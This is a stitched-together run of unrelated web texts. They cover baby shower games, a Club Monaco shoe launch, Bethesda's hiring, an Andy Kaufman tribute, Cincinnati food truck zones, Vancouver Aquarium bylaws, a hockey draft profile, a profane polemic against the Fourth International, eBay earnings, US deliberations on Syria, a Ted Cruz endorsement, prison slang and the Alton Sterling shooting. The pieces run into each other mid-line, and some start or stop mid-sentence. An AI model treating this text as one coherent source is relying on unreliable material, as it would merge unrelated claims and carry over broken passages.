Photo Credit: Mikailia K Photography
Some tips for throwing a baby shower:
Since we had a co-ed baby shower my husband was a little skeptical when I first mentioned my friend was throw “us” a co-ed baby shower, (when following tradition, baby showers normally are for the women only, but we aren’t ones for tradition!). My friend Kassia and family did a great job at organizing fun games that both guys and girls had fun doing.
Games:
If you said the word baby you would lose your pin that you were given at the beginning of the shower, the guys loved this game! and there were prizes for the person who collected the most pins. They totally accepted the challenge, everyone was really into it.
They also planned a BINGO game, they printed out bingo sheets and you were supposed to write down all the items you thought “momma to be” was going to open and the first one to get Bingo won a gift card.
This doesn’t really count as games but I thought it was a neat thing to do; write down any”words of wisdom” for the parents to be. We really enjoyed reading them when we got home. The ones written from my friends were funny, and the ones from the older generation had some really helpful hints.
They also had a guessing game card to fill out, which included: When you thought baby would be born, length, weight, who baby would look more like (mom or dad, Jeremy won out on that) eye colour, and what time baby would be born.
Food: Kassia’s mom did an excellent job on the food, there was something for everyone! Especially when inviting guys; here’s some yummy ideas for what to serve at a co-ed baby shower. Everyone was so full, it was great 🙂Yes, it’s true (and you heard it from us first!), Club Monaco is launching a collection of shoes for women. With booties, flats, pumps and loafers—or slippers, as Club Monaco calls them—the complete collection will be rolling out in stores through fall. The best part? The shoes are timeless. Though they might be on trend now, these kicks will carry you through the 2014 seasons and beyond.
“I am proud of the quality of the shoe; as well as the versatility. At Club Monaco, we focus on what we believe makes a modern woman’s wardrobe classic—just like our apparel line, our shoes are timeless classics. They can work this season, and still be worn seasons from now,” said Caroline Belhumeur, the senior vice president of women’s design at Club Monaco.
Launched in 1985 by Joe Mimran and Alfred Sung, with a small shop on Toronto’s Queen Street West that still exists today, Club Monaco has spread across the globe throughout its 28 years. Now owned by Polo Ralph Lauren, the brand has continued to maintain its status as a trendy retailer, so footwear was a necessary step in the evolution of Club.
Handcrafted in Italy, Club Monaco’s footwear ranges in price with items as low as $150, reaching up to $350. The collection was made available online today but, before you start shopping, take a look at our favourites that we’ve gathered below.
The Pull: Meet Club Monaco’s first shoe collectionFallout 3 – is the next one a next gen launch title?
The creators of Elder Scrolls and Fallout are hiring developers to work on next generation consoles, as Skryrim’s downloadable content finally gets a date on PlayStation 3.
Many a new video game has been given away accidently by a job listing, but Elder Scrolls developer Bethesda aren’t making that mistake. They have however just started hiring for staff to work on a new game, with the following job description:
‘Bethesda Game Studios is looking for experienced programmers to work on cutting-edge technology for an unannounced game on future-generation consoles.’
The only detail that hints at what the game might be is a line that reads: ‘Experience playing Bethesda Game Studios games a plus’. Which you could construe as meaning that the new game is relatively similar to their previous work.
It’s also worth noting that we’re talking about developer Bethesda Game Studios here, not Bethesda Softworks – the sister company that publishes games from other companies, such as Arkane Studios’ Dishonored.
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In the last 10 years, and apart from a couple of drag racing games, Bethesda Game Studios have only ever worked on The Elders Scrolls and Fallout. And although it’s perfectly possible that the game (not) being described here could be something brand new, rumours have previously hinted that Fallout 4 is on the way and is at least partially based in Boston.
Even without the next generation consoles though Bethesda’s current schedule would make Fallout 4 an obvious guess for a reveal at E3 in June. With one of the series’ voice actors recently hinting that an announcement is imminent.
As with all next gen games though the consoles themselves will have to be announced first, with Sony’s PlayStation 4 widely expected to be revealed at an event on February 20.
In the meantime though Bethesda has finally announced U.S. release dates for Skyrim’s downloadable content on the PlayStation 3. For some reason they’re being released in reverse order, with Dragonborn out on February 12 (February 5 on PC), Hearthfire on February 19, and Dawnguard on February 26.
Knowing how the European PlayStation Store is there’s no guarantee that they’ll be out at the same time in the UK, but at least they’re finally finished. All the downloads will be sold at half price for the first week, as an apology for the huge delay.
Thoughts? Email gamecentral@ukmetro.co.uk or leave a comment belowOn April Fool’s Day, I couldn’t think of a better Legend of the Month than Andy Kaufman. I had written a joke Legend – it was going to be an April Fool’s prank – Fred Phelps, the horrible man who founded the Westboro Baptist Church. In the end I decided it wasn’t worth it, I’d just go with a tribute to Andy Kaufman who is probably the greatest prankster ever to have lived.
Had it been Andy Kaufman doing the above-mentioned Fred Phelps joke, this bit wouldn’t be happening. He would have written a full, serious article about his love for Phelps (despite, no doubt, hating him) and he never would have let the joke go. There would be no “Ah, I’m only taking the piss.” He would continue to put fuel on the fire, never backing-down until somebody nearly killed him. Much like he did with his elaborate prank with Jerry “The King” Lawler, in which, Andy picked a fight with the professional wrestler, and to ramp up the drama (and ticket sales) proceeded to taunt Jerry Lawler and his “hick” hometown fans in Memphis, where the fight was scheduled to take place. When Kaufman arrived in Memphis, the hotel he’d booked wouldn’t allow him in because they’d received a number of bomb threats. The audience outside the arena actually might have ripped him limb from limb if they could get their hands on him. The whole thing was an elaborate prank: Kaufman, Bob Zmuda – best friend and writer/producer – and Jerry Lawler were the only people in on it. Lawler suplexed Kaufman a few times, to mighty roars of approval from the sold-out Memphis crowd. When Kaufman was ambulanced to the hospital “fighting for his life with a broken neck” and “fearing that he’d never walk again”, people thought it was real. And they thought it was real as he continued to wear a neck brace for a month, and when he and Lawler met on The Tonight Show with David Letterman – where Lawler ended up smacking Kaufman (a real slap for authenticity but still part of the prank) and Kaufman threw hot (lukewarm) coffee on the pro wrestler – and all the way up till his death and for years beyond. The truth only came out for certain fifteen years after his death when his best friend and producer Bob Zmuda revealed all in his biography, Andy Kaufman Revealed!
Bob Zmuda was Andy Kaufman’s best friend (Zmuda’s still alive). He was also his writer, producer and self-proclaimed babysitter. He was there for all of it, was involved in most of it, came up with some of the great pranks and had a part to play in a lot of them. He actually played the character of Tony Clifton so Kaufman could come out on stage at the same time to ‘prove’ that he wasn’t Clifton. Zmuda has also played Clifton since Kaufman’s death – which plenty of people also think is a hoax.
If you’ve seen the film Man on the Moon starring Jim Carrey as Andy Kaufman, you’ve actually seen a pretty good representation and Carrey does a great Kaufman (and Elvis, and Foreign Man and Tony Clifton etc.). In that film Paul Giamatti plays Bob Zmuda. If you haven’t seen the film, you should, it’s really good. And I’m not going to go into much of what’s in the film. Of course, the film is not 100% accurate and the timeline is warped in many ways. Andy Kaufman died young, but it’s still difficult to portray a thirty-five year life in under two hours.
Basically Andy Kaufman is one of the most influential comedians ever to grace a stage. And he didn’t even like being called a ‘comedian’. He was a ‘song and dance man’. There was so much more to his act than getting laughs, and often he really didn’t get laughs, quite the opposite. He’s been described as a ‘behavioral scientist’. He was fascinated with failure, and what it could do to people, dying on stage was more interesting to him and he constantly pushed boundaries. His staple characters, Foreign Man (who eventually evolved into Latka on NBC’s Taxi) and Tony Clifton were failures. Clifton a washed-up lounge singer, and Foreign Man a sweet homeless, hopeless entertainer who carried his life in a suitcase. The more furious an audience was after a Tony Clifton show, the happier Kaufman was. If he was attacked or nearly killed (which did happen), it was seen as a successful show for his ‘failure’ characters.
Earlier in his career he’d pushed the boat out in different ways, always experimenting with testing an audience’s patience. For example; for a twenty minute slot at the New York Improvisation he would climb into a sleeping bag on stage, set an alarm clock for twenty minutes and lie there, for the entire twenty. When the alarm buzzed he’d get up, roll his sleeping bag and leave the stage. Other times he’d read The Great Gatsby to the audience. Note: not read FROM The Great Gatsby, he’d just read The Great Gatsby.
It might be hard to understand how influential this man was. Certainly to people from my generation, born after Kaufman had already died. Kaufman was on the first |
the program.
The second Over-the-Rhine location will be at Twelfth and Clay Streets, and is the result of much negotiation with nearby restaurants that had been wary of a mobile food vending zone near their establishments. This location will accommodate up to two food trucks at a time, and unlike the Washington Park zone, will allow vendors to operate between 6pm and 3:30am.
The new Over-the-Rhine mobile food vending zones add to the other six locations in place throughout the city. According to Councilmember Laure Quinlivan (D), who first proposed legislation to create the mobile food vending program in 2010, those who would like to see mobile food vending zones established elsewhere throughout the city can contact her office at laure.quinlivan@cincinnati-oh.gov.
City officials say that all of the following official mobile food vending zones are open seven days a week, and are available to operators with mobile food vending licenses on a first come, first serve basis.
12th/Clay Streets (6pm to 3:30am)
Court Street Market (6am -3pm)
Fountain Square/North Vine Street (6pm-3:30am)
Fountain Square/North Fifth Street (6am to 3:30am)
Fountain Square/South Fifth Street (6am to 3:30am)
Purple People Bridge (6am to 3:30am)
University Hospital (6am to 3:30am)
Washington Park zone (6am to 3pm)
“If you have additional mobile food vending zones you’d like to see created, please contact me to learn how to get it done,” Quinlivan stated. “The bottom line is that you need to get support for the new zone from nearby property owners.”
Food truck operators interested in getting a mobile food vending license will not see their annual fees change from the current $600 for a six-month license or $1,000 for a full year. But, according to city officials, they will now apply through the Cincinnati Health Department in an effort to streamline the application and licensing process since the health department also must issue a health license for the food trucks.
Other approved changes include the elimination of the non-refundable $25 application fee, and structural changes for the mobile food vendor zone at the foot of the Purple People Bridge to allow for more consistent space availability for food truck operators.
Due to the court-issued restraining order on the City of Cincinnati, the changes could not take effect immediately, and will finally go into effect this Friday, May 17 following the required 30-day waiting period.
To celebrate, the Cincinnati Food Truck Association, Quinlivan and community leaders will gather at Washington Park this Friday at 11:30am to celebrate the new food truck zones.
“I’m excited our program has created jobs and livened up city streets,” Quinlivan stated. “I’m told we now have 28 mobile food trucks in Cincinnati and we hope all of them participate in our program.”Follow the basic installation steps specified here:
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Control your remote foobar2000 with your Android device! This application needs foobar2000 working in the computer and 2 more components installed in foobar 2000.
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Enjoy it!The Vancouver Park Board released a draft plan to end the display of cetaceans at the Vancouver Aquarium.
Current bylaws allow for whales to be brought into the aquarium on certain conditions — for example, if a whale is in distress, is a member of an endangered species or is already being kept in another park.
Draft amendments to the cetacean display bylaws would remove those exemptions.
The amendments will also allow the aquarium to keep their three current cetaceans but forbids their use in shows or displays.
"The proposed draft bylaw amendments reflect the board's direction to ban the importation of all cetaceans into Vancouver parks, however, acknowledges the need to address the current cetaceans already in residence at the Vancouver Aquarium," a statement from the Park Board reads.
Officials with the park board say they still support the aquarium's marine mammal rescue efforts, and as most of the animals rescued by that program are seals, the phasing out of cetaceans "will have a minimal impact on the program."
Aquarium says amendments 'ill-conceived'
The aquarium fired back, calling the amendments "ill-conceived" and claimed they would "condemn to certain death the very animals that need rescuing" by forcing rescuers to euthanize animals that can't be returned to the wild.
John Nightingale, president and CEO of the aquarium, says the park board is "turning their backs" on the animals.
"They've been told over and over again that [rescue] work for cetaceans — whales, dolphins and porpoises — can't continue without the possibility of the aquarium providing a long-term home for those that have been rehabilitated, but for whatever reason, cannot live in nature," he said.
Nightingale said it's true that most of the marine mammals the aquarium rescues are seals and otters, but said not helping cetaceans is like a doctor refusing to treat certain patients.
He said the public is overwhelmingly in support of the aquarium's work.
Discussion of the draft amendments will take place at a May 15 meeting.Welcome back to Top Shelf Prospects, the daily column that brings you the next crop of professional hockey players. Each day I will bring you a new player profile or topical article in the lead-up to the 2015 NHL Draft. Be sure to bookmark the site, follow me on Twitter, and spread the word for the site that will bring you analytical and critical profiles and scouting reports! Last Word On Sports is your new headquarters for everything “Draft”! For a Complete Listing of all our 2015 Draft Articles Click here.
Ivan Provorov is one of the quickest and highest rising draft prospects this season. He’s gone from being a consideration for a second round pick, to challenging Noah Hanifin and Zach Werenski to be the first defenceman drafted. The gap between the three is not that large at all, and it comes down to preferences. Even though Provorov has played in North America for several years (since the age of 14), he may face the Russian/KHL factor that we saw do a number on the draft rankings of Valeri Nichushkin, Nikita Scherbak, Nikolai Goldobin, and Ivan Barbashev over the last two years. Add to that the fact that he is not quite as big as the first two defenders and this is why I have put him third on my board.
Provorov spent last season with Cedar Rapids in the USHL. In his rookie season with the Brandon Wheat Kings in the WHL he put up 15 goals and 61 points in 60 games. He also played for Team Russia at the World Junior Championships, coming home with a silver medal in the process. He is eligible to play at this spring’s IIHF Under 18 World Championships.
Ivan Provorov
Defense — shoots Left
Born Jan 13 1997 — Yaroslavl, Russia
Height 6.00 — Weight 200 [183 cm/91 kg]
Ivan Provorov is a very good skater. He has good speed and acceleration in both directions. He combines this with his solid stickhandling to both lead and join the rush. With that speed he can sometimes recover defensively even when he makes a mistake. However, Provorov will need to learn to pick his spots better, as it sometimes seems he tries to go end-to-end every time he touches the puck, or join the rush. He will need to learn to pick his spots better as he will not be able to get away with this at the NHL level. Provorov also has very good edgework and pivots, which allows him to cover a lot of ice. His balance and power is decent which helps him to win board battles or establish position on forwards in front of the net.
Ivan Provorov is a very good stickhandler who protects the puck extremely well. He has the poise to control the puck at the blue line, and be the powerplay quarterback. He has good passing skills and vision, as he can make crisp tape-to-tape passes. Provorov has both a very good wrist shot, with a quick release as well as a strong slap shot from the point. Provorov is extremely good at moving laterally to open up passing and shooting lanes. He is a smart player who seems to always make a good play with the puck on his stick. In his own zone, he is extremely adapt at avoiding forecheckers and makes a great first pass.
Provorov shows outstanding defensive skill as well, and if you take away the times he gets caught up the ice, has the potential to be a really good two-way defenceman. He is strong positionally, and reads the play very well. He understands how to use his stick to cut down passing lanes and his body to block shots. He is also showing improved strength and clearing the front of the net extremely well and in winning battles along the boards, though he can continue to work on adding muscle to his frame. While he isn’t one to throw big hits, he isn’t afraid of the physical play and board battles, and he will take a hit to make a play when necessary.
In terms of ceiling, Ivan Provorov has the potential to be a top pairing defender in the NHL, but still has some things to work on before he gets there. He doesn’t seem as NHL ready as Noah Hanifin, and will likely need another year in junior, but the ultimate ceiling may be just as high. Provorov’s style is reminiscent of Drew Doughty, however this is not a talent comparison, but merely a stylistic one.
Here are some videos of Provorov in action.
Check back tomorrow for the number 8 player on my draft board.
Main Photo:My Santa surprised me with things even I had forgotten were in my profile and really nailed it! I received everything in separate packages, to my boyfriend's house in another city (accidentally), and before the final package arrived, we went out of state for a week so I recieved multiple boxed surprises.
I have eclectic food tastes, but one of my guilty pleasures is fruit gushers. They're juvenile and delicious and I love them, so my Santa sent two boxes! Those lived a short life...
I also thrive on anywhere from 2 to 5 cups of coffee a day, so my Santa sent a package of various holiday flavored coffee. I got the coffee the day I drove all day from the 70 degree Texas to 20 degree Nebraska. So I immediately brewed a pot of the mocha (the boyfriend got first pick). I'm writing this as it brews and it smells divine. They all look good, but I'm most intrigued by the "spicy orange."
The cutest and by far most popular gift is the snarky adult coloring book for nurses, called #NURSELIFE. It's chockful of real life nurse problems, and is perhaps only hilarious to those familiar with the profession. It made me laugh my butt off, but my boyfriend only forced an 'I don't get it' chuckle. I'll bust out the colored pencils after a stressful day and meditate through the book, comforted by knowing there are those out there who commiserate.
Thanks, Santa. Your presents(ce) brightened my day!All talk of some supposed "Fourth International" has always annoyed me, even before I gravitated towards the maoist realm of revolutionary communism. This annoyance has less to do with my feelings about Trotskyism and more to do with rationality. Look: you can't call yourself anif your "internationalism" is about as international as a successful academic conference. And you especially can't call yourself an International when there's about fifteen competing "Fourth Internationals", all led by sectarian groups who think they're the legitimate heirs to this bullshit venture.Anyone who thinks that there is such a thing as a legitimate "Fourth International" really needs to stop and consider history in a rational manner for more than one minute. Such a consideration would make them realize that this supposed "International" suffered from two primary flaws at the moment of its inception: a) the fact that it consisted primarily of first world intellectuals and their friends, a few petty-bourgeois comprador third world individuals here and there notwithstanding; b) the fact that the vast majority of communists and communist movements still adhered to the Third International (which actuallyan International) and saw Fourth "Internationalists" as a bunch of "wreckers", perhaps even bourgeois agents (not that they necessarily were, but this charge was more common than the Fourth International's claim about international status has ever been and ever will be), and so to claim some sort of international in this context was about as sensical as claiming that world capitalism had been defeated.So if you call yourself an International but are not even connected to the organic movements in the global peripheries, and are mostly represented by an odd smattering of intelligentsia grouplets at the centres of imperialism, then you fall short of the mark of anything approaching the "internationalism" required for such a name. (And since the Pabloists were kicked out of the Fourth International, and branded as "revisionists", then you really have rejected any solidarity with the vast majority of the world's revolutions!) Maybe this sort of "international" branding worked for the First and Second Internationals, that really were based within a primarily European context, but after the Third International, which finally succeeded in reaching a truly international membership and passing motions representing this membership, an International that goes back and becomes little more than echo of the First International under Marx and Engels (repeated as farce, it bears saying) then it's pretty clear you're existing in defiance of the International that even Trotsky, when he was a revolutionary leader, participated in… And just because this same Trotsky was behind the founding of a pseudo-International two years before he died, one has to wonder if this was simply the result of the bitterness of exile. After all, it wasn't until around five years before his death that he started thinking about opposing the actual International that had kicked him out of its ranks.This Third International was, to date, both the first and lastevent that was both communist and international. Organizations and individuals from around the world, many of whom were active in revolution, were present; motions were passed, many of which the supposed Fourth International would ignore, and there was actually something worth calling internationalism. No wonder the vast majority of the communist world continued to recognize the Third International, and have nothing but spite for the supposed Fourth, for a very long time. No wonder the Fourth pseudo-international failed to gain traction when many of its assumptions seemed to exist in defiance of what was established, in a much more internationalist manner, during the course of the Third.And yet the defenders of the Fourth International like to pretend that they are actually internationalist and their supporters are spread throughout the world. They become very defensive when it comes to the actual revolutionary history of the world at large, pretending that they are an actual international force when they are little more than groups predominantly concentrated at the global centres of capitalism whose tiny supporting grouplets at the peripheries have been marginalized, sometimes viciously, by actual and organic revolutionary movements who have little patience for petty-bourgeois naysayers who emerge from the ranks of the compradori to sing the praises of the first world. Whether or not it is politically correct to treat Fourth "Internationalist" as enemies of the people is, perhaps, and issue worth contemplating; at the same time, however, the fact that the representatives of this pseudo-International are both marginal and generally in the camp of the privileged classes in the global peripheries means that they are not at all the internationalists they pretend to be. When you take your orders from Europe and the US, after all, and you are a tiny group of semi-privileged intellectuals who are utterly disconnected from the organic movements in your social context, you aren't representing a global movement worthy of being treated as an International.Hell, the Revolutionary Internationalist Movement [RIM] never dared to call itself an. Indeed, when it was founded and even went so far as to call for a new stage of revolutionary communism, it also asserted that it wasa new Communist International. Interestingly enough, unlike the Fourth International, the RIM was an international organization that was connected to actual organic revolutionary movements throughout the world: it emerged in connection to the Peruvian Peoples War, it helped broker the unification of the Peoples Wars in India (which produced the Communist Party India(Maoist) which is currently cutting India in half), it once counted the Nepalese Peoples War in its ranks, and it produced the Communist (Maoist) Party of Afghanistan that is soon to enter its own revolutionary moment. And yet, despite its legitimate connection to worldwide revolution, the RIM was careful to define itself asbeing the next International.Unlike the jilted and jaded marxists who founded the Fourth International, who were never connected to any concrete revolutionary movements anywhere and (unfortunately or fortunately) were driven from the ranks of the majority of social movements, at the time, in which they were involved, the RIM did not pretend to the same level of international significance. This is because, at the time, the RIM recognized that a new Communist International could only emergethe next world historical revolution. That is, unlike the First and Second International, the Third International was significant because it was declared by the first communist led world historical revolution. After this moment, it would make no sense to declare an Internationalit also possessed world historical resonance.Even the Chinese Revolution, which was also a world historical revolution, did not dare to found a Fourth International because of its experience, at the time, of the disintegration of the Third. Indeed, one of the reasons the previous RIM found it difficult to imagine a new Communist International was because of how the Chinese Revolution had experienced chauvinism in an International body commanded by a revisionist Soviet Comintern. But the Fourth International, with its arrogant pomposity, figured it could just restart the entire International business and demand that the world follow its lead, even though it possessed no theory proven by world historical revolution, as if it could go back to the days of the First International.This is always the problem––attempting to restart the dialogue of communist theory according to some "pure" notion of marxism that existed prior to the revolutions in Russia and China. Rather than figuring out a way to go forward, and make sense of the successes through the calamity of obvious failure, there has most often been a backwards-looking tendency to just. One must wonder, then, why the so-calleddidn't call itself a newsince its very existence, from the outset, stood in defiance of the Third, Second, and First to begin with. Even the Third didn't go so far as to delegitimize the failures of the Second; it understood that the Second failed at its final point but, before that, it had learned a lot from the much more limited second––indeed, as Lars Lih has pointed out, Lenin wouldn't have even been able to writeif it hadn't been for the influence of the Second International's prime theorist, Karl Kautsky, regardless of the fact that Lenin ended up walking away, along with every legitimate revolutionary, from this International at its conclusion. And from the ashes of that International, Lenin and his allies succeeded in initiating the first trulyInternational.So why did the Fourth [supposed] Internationalists walk away from the Third when it hadn't reached its conclusion without learning anything but sectarianism? After all, the Chinese revolutionaries only turned their backs on this International when it it actually did reject its own principles and become truly revisionist. The Fourth Internationalists, however, have never bothered to even accept the originary and revolutionary principles of the Third International––they have taken little more from the historic moment of that International's founding than the word. And a bunch of competing Fourth Internationalist sects who hate each other, and who have little or no connection with actually existing revolutions [unless one counts the propensity to name every revolution "false"], do not logically count asWhich is why I am more or lessoffended by people who speak of a "Fourth International." Being someone trained in philosophy––and who tends to spend a fuck of a lot of time worrying about definitions, semantic precision, and logical coherence––I am generally offended by people who speak of an "international" and yet do not seem to understand how the termneeds to be logically satisfied. It is one thing to speak ofwhen your understanding of the world was narrower (i.e. during the time of Marx or Kautsky), but it makes no sense to transpose the same understanding to a reality that has been irrevocably changed by world revolutions and global communications. Indeed, Hellenic historians could speak of Alexander "conquering the world" because their world was only a tiny sliver of the actual world… Today's historians, however, wouldn't make the same mistake.So let's be clear: there is no such thing as the "Fourth International" because it has never fit the terms of an––none of the organica revolutionary movements since the Third International have given a fuck about the dictates of a fourth imaginary International and have generally, though in qualified terms, only declared fidelity to what was established in the Third International. Fourth Internationalists, therefore, lack any semantic reason to use the termand should immediately stop doing so since they are in defiance of rational thought.Although eBay beat its downwardly-revised earnings numbers today, its earnings call was filled with glum news for investors. (Full earnings slides embedded below). After three flat quarters, revenues declined 3.6 percent from the second quarter to $2.2 billion. Free cash flow has been going down each of the last four quarters, and so has the total value of goods traded over the auction and e-commerce site. eBay is leaning much more heavily these days on merchant-dominated categories like autos than on auctions between ordinary people.
Even PayPal’s revenues were flat in the quarter at $597 million. Maybe the $945 million acquisition of Bill Me Later will help reignite growth. Its classifieds business (Kijiji) brought in a respectable $250 million in revenues.
Another eBay business that is holding its own, surprisingly, is Skype. Revenues for the third quarter were $143 million. Although its growth rate is slowing, at least it is still growing, both on an annual (46 percent) and sequential quarterly (5 percent) basis. Its total registered users grew 51 percent to 370 million, and those people used up 16 billion minutes of talk time.
The annual growth rate of those minutes ((63 percent) is actually accelerating compared to the preceding quarters. And, most important of all, the number of minutes people actually pay for (2.2 billion Skype Out minutes) is also experiencing accelerating growth (54 percent).
Unfortunately, at only ten percent of eBay’s total revenues, Skype is still too small to counteract its overall decline. Maybe they can still sell it.Forces of Syria's President Bashar al-Assad remove the flag of al-Qaeda-linked Jabhat al-Nusra, which they said was left behind by rebel fighters, in Zor al-Mahruqa village on Oct. 6. (George Ourfalian/Reuters)
U.S. officials are weighing whether to broaden the air campaign in Syria to strike a militant group that is a rival to the Islamic State and that is poised to take over a strategically vital corridor from Turkey.
Extremists from the al-Qaeda-linked Jabhat al-Nusra group were said Monday to be within a few miles of the Bab al-Hawa crossing in northwestern Syria on the Turkish border, one of only two openings through which the moderate Free Syrian Army receives military and humanitarian supplies provided by the United States and other backers.
Over the weekend, rebels said Jabhat al-Nusra forces swept through towns and villages controlled by the Free Syrian Army in Idlib province, west of Aleppo. Rebel groups associated with the Free Syrian Army were routed from their main strongholds, with scores of fighters fleeing toward Turkey or defecting to join the militants, according to opposition activists.
Apart from one attack by Tomahawk missiles against an al-Qaeda cell within Jabhat al-Nusra in late September,when the Syrian airstrikes began, U.S. and Arab warplanes have been targeting the Islamic State, a separate group that the administration has made clear is its primary target in Iraq and Syria.
The recent fighting in northwestern Syria has been taking place a long way from areas farther east where U.S. and Arab warplanes have been pounding Islamic State positions.
An air strike hit the Syrian town of Kobane on Sunday, as Iraqi Kurdish fighters battled Islamic State militants. A large plume of smoke could be seen rising from the Syrian town shortly after the strike was heard. (Reuters)
But U.S. concern has grown rapidly in recent days amid fears about the border crossing, according to senior administration officials who spoke about internal discussions on the condition of anonymity.
Officials cautioned that no proposal for expanded airstrikes has reached the level of decision-making, and its main advocates may not include the White House.
“There are a lot of possibilities that are always being discussed. I don’t want to make it seem like we’re on the verge of an announcement,” one senior administration official said. “We want to help the opposition, we want to keep the border crossings open, and we’re looking a lot of things,” the official added. But “all of those actions are immensely complicated, for reasons you can imagine.”
Among the complications are Syrian government air defenses. President Bashar al-Assad, whom both the rebels and the militants are trying to overthrow — even as they fight each other — has not interfered in the U.S.-led air campaign against the Islamic State in areas of northern and eastern Syria. Nor has the government aggressively contested them there. It is unclear whether Assad would tolerate an expansion into other areas.
The U.S. focus on the Islamic State has angered the Free Syrian Army, which believes that the airstrikes are indirectly assisting Assad. And despite the battles last weekend, some elements of the moderate opposition still consider Jabhat al-Nusra an ally in their fight against Assad.
The administration has repeatedly insisted that its long-term goal is the removal of Assad. But it considers the threat from the Islamic State, which has spread across a third of Iraq in addition to northern and eastern Syria, to be an emergency and the first order of business.
Although President Obama’s strategy includes stepped-up military training and equipment for the Syrian rebel fighters, that program is expected to take the better part of a year and won’t get underway for months.
Free Syrian Army frustration with what it sees as slow and insufficient assistance was exacerbated late last month, when retired Gen. John Allen, the administration’s coordinator for the international coalition battling the Islamic State, said that the U.S. training and weapons were intended to help the rebel group fight the militants, not Assad.
“There could be FSA elements that ultimately clash with the regime” in a defensive capacity, Allen told Asharq al-Awsat, a leading Arab newspaper. “... But the intent is not to create a field force to liberate Damascus — that is not the intent.”
Although Allen later clarified and softened his remarks, bad feelings remain among the rebels and their Sunni Arab backers. Countries including Saudi Arabia and the United Arab Emirates, which are assisting in airstrikes against the Islamic State, suspect that the administration is going easy on Assad to avoid antagonizing Iran, a key Assad supporter, while it negotiates a separate nuclear deal with the Tehran government and welcomes Iranian assistance against the Islamic State in Iraq.
Despite rising U.S. concern about the border crossing, disagreements between the rebels and the administration extend to what happened over the weekend.
“We are aware of press reports of a major al-Nusra offensive against the Free Syrian Army, but I have nothing confirming this,” said U.S. Central Command spokesman Maj. Curtis J. Kellogg.
A key official with the Syrian Opposition Coalition, the U.S.-backed political umbrella for the Free Syrian Army, said Monday that it has appealed for three days to the administration for emergency assistance.
“We sent a note to Gen. Allen’s office on Friday” requesting coordinated airstrikes and expedited military aid, the opposition official said. “We were told that the information was passed on to Centcom.... No response.”
Oubai Shahbandar, a spokesman for the opposition coalition, said the moderate rebels still hold some ground near the border. “All is not lost,” he said, speaking by telephone from Istanbul. “The Nusra guys have made some pretty significant advances.... What happens in the next few days will be really crucial.”
The senior Obama administration official said he was “not aware” of any emergency request for assistance. But, the official said, “you can imagine in situations like this that the Syrians and Iraqis make requests all the time.”
Liz Sly in Beirut contributed to this report.(Andrew Burton/Getty)
Conservatives have had difficulty choosing a champion in the presidential race in part because it has featured so many candidates with very good claims on our support. As their number has dwindled, the right choice has become clear: Senator Ted Cruz of Texas.
We supported Cruz’s campaign in 2012 because we saw in him what conservatives nationwide have come to see as well. Cruz is a brilliant and articulate exponent of our views on the full spectrum of issues. Other Republicans say we should protect the Constitution. Cruz has actually done it; indeed, it has been the animating passion of his career. He is a strong believer in the liberating power of free markets, including free trade (notwithstanding the usual rhetorical hedges). His skepticism about “comprehensive immigration reform” is leading him to a realism about the impact of immigration that has been missing from our policymaking and debate. He favors a foreign policy based on a hard-headed assessment of American interests, one that seeks to strengthen our power but is mindful of its limits. He forthrightly defends religious liberty, the right to life of unborn children, and the role of marriage in connecting children to their parents — causes that reduce too many other Republicans to mumbling.
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That forthrightness is worth emphasizing. Conservatism should not be merely combative; but especially in our political culture, it must be willing to be controversial. Too many Republicans shrink from this implication of our creed. Not Cruz. And this virtue is connected to others that primary voters should keep in mind. Conservatives need not worry that Cruz will be tripped up by an interview question, or answer it with mindless conventional wisdom when a better answer is available. We need rarely worry, either, that his stumbling words will have to be recast by aides and supporters later. Neither of those things could be said about a lot of Republican nominees over the years.
We are well aware that a lot of Republicans, and even some conservatives, dislike the senator and even find him unlikable. So far, conservative voters seem to like him just fine. We do not wish to adjudicate all the conflicts between Cruz’s Senate colleagues and him. He has sometimes made tactical errors, in our judgment; but conflicts have also arisen because his colleagues have lacked direction, clarity, and urgency. In any case, these conflicts pale into insignificance in light of Republicans’ shared interest in winning in November and governing successfully thereafter.
No politician is perfect, and Senator Cruz will find that our endorsement comes with friendly and ongoing criticism. His tax plan is admirably growth-oriented but contains too much indirect taxation of employees. He has done little to lay out a plausible replacement for Obamacare, and especially to counter the idea that replacing it would involve stripping insurance from millions of Americans. His occasional remarks to the effect that the general election can be won by mobilizing conservatives who have been heretofore quiescent politically seems fanciful. As the nominee he will have to adopt a more empirically grounded strategy, just as he has done in the primaries.
What matters now is that Cruz is a talented and committed conservative. He is also Republicans’ best chance for keeping their presidential nomination from going to someone with low character and worse principles. We support Ted Cruz for president.
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Will you support Ted Cruz for president? Take the NR poll.ROCHDALE, England, June 8 (UPI) -- The British Ministry of Justice is warning the country's prisons that prisoners have taken to using a 16th-century slang to hide talk about drug deals.
The 500-year-old dialect, which is known as thieves' cant or rogues' cant, was believed to have been developed by medieval gypsies and adopted by a handful of scoundrels across England. Officials at Buckley Hall Prison in Rochdale said the dialect has resurfaced as a code for drug trafficking, the Daily Mail reported Monday.
Officials said they determined that "chat" and "onick" are being used as code for heroin, while "cawbe" denotes crack cocaine and "inick" is code for a cell phone or a SIM card.
"This is the most ingenious use of a secret code we have ever come across," an official at the 381-prisoner facility said. "Elizabethan cant was only used by a tiny number of people and it is quite amazing that is has been resurrected in order to buy drugs. Some inmates will try anything to get contraband into jail."
The Ministry of Justice sent a security alert to officials at prisons in England and Wales warning them to be aware of the code.This article is over 2 years old
Two officers on administrative leave after man was shot ‘four to six times’ in chest and back after altercation with police outside convenience store
A white Louisiana police officer shot and killed a black man following a confrontation outside a Baton Rouge convenience store, authorities said.
An autopsy showed Alton Sterling, 37, of Baton Rouge, died on Tuesday of multiple gunshot wounds to the chest and back, said East Baton Rouge parish coroner Dr William Clark.
Officers had responded to the store at about 12.35am on Tuesday after an anonymous caller indicated a man selling music CDs and wearing a red shirt had threatened him with a gun, said corporal L’Jean McKneely.
Two officers responded and there was an altercation with the man, then one officer fatally shot the suspect, McKneely said. Both officers were placed on administrative leave under standard department policy, he said.
The store’s owner, Abdul Muflahi, told WAFB-TV that the first officer used a Taser on Sterling and the second officer tackled the man. Muflahi said that as Sterling fought to get the officer off him the first officer shot him “four to six times”.
Video of the shooting that circulated on Twitter sparked outrage.
Muflani said Sterling did not have a gun in his hand at the time but he saw officers remove a gun from Sterling’s pocket after the shooting.
McKneely said late on Tuesday that he could not confirm Muflahi’s description of the alleged event or any other details of the investigation.
On Tuesday night about 150 protesters took to the streets of Baton Rouge chanting “Black Lives Matter” and “No justice, no peace”.
